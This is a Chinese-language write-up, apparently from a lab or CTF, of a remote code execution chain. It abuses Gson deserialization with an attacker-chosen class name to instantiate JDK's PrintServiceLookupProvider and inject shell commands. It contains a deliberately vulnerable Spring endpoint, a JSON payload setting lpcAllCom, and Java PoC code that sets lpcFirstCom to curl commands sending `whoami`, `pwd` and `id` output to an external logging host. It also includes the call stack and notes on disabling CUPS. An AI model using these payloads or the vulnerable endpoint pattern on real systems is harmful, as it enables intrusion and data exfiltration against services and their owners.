Gson反序列化

内网的web服务主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RestController
@RequestMapping({"/api"})
public class APIController {
@GetMapping({"/"})
public String index() throws Exception {
return "try /api/com.api.Person/eyJuYW1lIjoidXNlciIsImFnZSI6IjIwIn0=";
}

@GetMapping({"/{Person}/{Json}"})
public Person handleApiRequest(@PathVariable String Person, @PathVariable String Json) throws Exception {
Gson gson = new Gson();
Person person = (Person)gson.fromJson(new String(Base64.getDecoder().decode(Json), StandardCharsets.UTF_8), Class.forName(Person));
return person;
}
}

这里可以控制json,并指定反序列化的类名。

PrintServiceLookup命令执行

JDK中 PrintServiceLookup接口用于提供打印服务的注册查找功能,在linux的JDK中它的实现类 叫做UnixPrintServiceLookup 或 PrintServiceLookupProvider (高版本 jdk中)

此处以jdk11为例,可以找到sun.print.PrintServiceLookupProvider这个实现类

image-20231026203719636

在PrintServiceLookupProvider的构造函数中首先调用PrinterChangeListener()的构造函数

1
2
3
4
5
6
7
8
9
public PrintServiceLookupProvider() {
if (pollServices) {
Thread thr = new Thread((ThreadGroup)null, new PrinterChangeListener(), "PrinterListener", 0L, false);
thr.setDaemon(true);
thr.start();
IPPPrintService.debug_println(debugPrefix + "polling turned on");
}

}

接着进入refreshServices函数

image-20231026203927215

refreshServices函数在运行时检查CUPSPrinter服务是否开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public synchronized void refreshServices() {
String[] printers = null;
String[] printerURIs = null;

try {
this.getDefaultPrintService();
} catch (Throwable var10) {
IPPPrintService.debug_println(debugPrefix + "Exception getting default printer : " + var10);
}

int defaultIndex;
if (CUPSPrinter.isCupsRunning()) {
int i;
try {
printerURIs = CUPSPrinter.getAllPrinters();
IPPPrintService.debug_println("CUPS URIs = " + printerURIs);
if (printerURIs != null) {
for(i = 0; i < printerURIs.length; ++i) {
IPPPrintService.debug_println("URI=" + printerURIs[i]);
}
}
} catch (Throwable var11) {
IPPPrintService.debug_println(debugPrefix + "Exception getting all CUPS printers : " + var11);
}

if (printerURIs != null && printerURIs.length > 0) {
printers = new String[printerURIs.length];

for(i = 0; i < printerURIs.length; ++i) {
defaultIndex = printerURIs[i].lastIndexOf("/");
printers[i] = printerURIs[i].substring(defaultIndex + 1);
}
}
} else if (!isMac() && !isSysV()) {
if (isAIX()) {
printers = this.getAllPrinterNamesAIX();
} else {
printers = this.getAllPrinterNamesBSD();
}
} else {
printers = this.getAllPrinterNamesSysV();
}
。。。。。。

如果没有开启会进入else if (!isMac() && !isSysV())的判断,之后走进getAllPrinterNamesBSD中,这个函数会进行打印机相关的查找,会进行命令执行

1
2
3
4
5
6
7
8
private String[] getAllPrinterNamesBSD() {
if (cmdIndex == -1) {
cmdIndex = getBSDCommandIndex();
}

String[] names = execCmd(this.lpcAllCom[cmdIndex]);
return names != null && names.length != 0 ? names : null;
}

这里的lpcAllCom数组是这个类中写死的变量,与之相同的还有lpcNameCom和lpcFirstCom,都会被用来命令执行相关的函数中

image-20231026204305325

如果在反序列化对象时,能设置相关的属性,就可以在构造函数中达到命令执行的效果

但是这个打印机类没有继承Serializable,无法在原生反序列化中使用

GsonGagdets

gson在反序列化时会获取目标类的默认无参数构造函数,通过该函数实例化类,

以fromJson函数为例,恢复属性的过程如下

  1. 获取目标类的所有字段
  2. 解析 JSON 字符串,匹配字段
  3. 字段匹配成功,反射设置值
  4. 字段匹配失败,忽略该属性
  5. 反序列化完成,返回类实例

如果在可控反序列化类名的情况下,可以传入PrintServiceLookupProvider,并在json属性中设置lpcAllCom来进行命令执行

1
{"lpcAllCom":["touch /tmp/123","touch /tmp/123"]}

这里写一个Test类测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception{

Constructor<PrintServiceLookupProvider> declaredConstructor = PrintServiceLookupProvider.class.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
PrintServiceLookupProvider printService=declaredConstructor.newInstance();
Field lpcFirstCom = PrintServiceLookupProvider.class.getDeclaredField("lpcFirstCom");
lpcFirstCom.setAccessible(true);
lpcFirstCom.set(printService,new String[]{
"curl http://ip.port.ybd6bike.eyes.sh/`whoami`",
"curl http://ip.port.ybd6bike.eyes.sh/`pwd`",
"curl http://ip.port.ybd6bike.eyes.sh/`id`"});
Gson gson = new Gson();
String json= gson.toJson(printService);
System.out.println(json);
}

第一步会先构造对象,此时json中的属性还没有设置

image-20231026205707816

反射设置完属性后,走到this.getDefaultPrinterNameBSD

image-20231026210100714

最终cmdIndex取到1,进行命令执行

image-20231026210207999

调用栈如下

1
2
3
4
5
6
execCmd:872, PrintServiceLookupProvider (sun.print)
getDefaultPrinterNameBSD:747, PrintServiceLookupProvider (sun.print)
getDefaultPrintService:661, PrintServiceLookupProvider (sun.print)
refreshServices:278, PrintServiceLookupProvider (sun.print)
run:945, PrintServiceLookupProvider$PrinterChangeListener (sun.print)
run:829, Thread (java.lang)

坑点

有一个坑点就在于最终运行到命令执行需要满足两个条件。

image-20231026205415316

isCupsRunning要为false,并且不能是macOS和SunOS。后面这个条件其实读取的是该类的属性。由于我是Linux,就不用去管了。如果目标系统是macOS或SunOS,也可以通过反射绕过。

而isCupsRunning则是检测本机的CUPS服务。我本地的vmware+ubuntu环境是默认开启的。可以通过访问http://127.0.0.1:631/看看是否开启。

关闭CUPS服务并重启,POC就能正常跑通了。

1
2
sudo systemctl mask cups
reboot